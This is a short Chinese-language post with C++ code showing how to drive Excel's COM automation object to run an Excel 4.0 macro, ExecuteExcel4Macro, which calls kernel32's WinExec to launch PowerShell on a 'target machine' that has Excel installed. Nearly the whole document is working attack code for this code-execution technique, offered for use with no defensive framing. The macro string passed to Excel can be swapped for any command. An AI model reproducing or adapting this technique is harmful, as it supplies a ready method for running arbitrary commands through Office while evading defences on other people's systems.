通过cpp调用excel.application对象的ExecuteExcel4Macro方法来执行任意宏代码,
宏代码直接调用NativeAPI执行WinExec创建powershell进程
要求:目标机器必须安装了Excel,
#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include <oaidl.h>
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
HRESULT hRet = E_FAIL;
CLSID CLSID_excel;
IDispatch *pXlApp;
DISPID dispidNamed = DISPID_PROPERTYPUT;
DISPID dispID;
DISPPARAMS dispParams = { NULL, NULL, 0, 0 }; //
do
{
CoInitialize(NULL);
hRet = CLSIDFromProgID(L"Excel.Application", &CLSID_excel);
if (FAILED(hRet))
{
break;
}
hRet = CoCreateInstance(CLSID_excel, NULL, CLSCTX_LOCAL_SERVER, IID_IDispatch, (void **)&pXlApp);
if (FAILED(hRet))
{
break;
}
// 根据名字获取方法ID
OLECHAR* szFuncName = L"ExecuteExcel4Macro";
hRet = pXlApp->GetIDsOfNames(IID_NULL, &szFuncName, 1, LOCALE_SYSTEM_DEFAULT, &dispID);
if (FAILED(hRet))
{
break;
}
dispParams.cArgs = 1;
dispParams.cNamedArgs = 0;
dispParams.rgdispidNamedArgs = NULL;
dispParams.rgvarg = new VARIANTARG;
dispParams.rgvarg->vt = VT_BSTR;
dispParams.rgvarg->bstrVal = SysAllocString(L"call(\"kernel32\", \"WinExec\", \"JFJ\", \"powershell\", 5)");
hRet = pXlApp->Invoke(dispID, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &dispParams, NULL, NULL, NULL);
if (FAILED(hRet))
{
break;
}
SysFreeString(dispParams.rgvarg->bstrVal);
delete dispParams.rgvarg;
CoUninitialize();
} while (false);
return 0;
}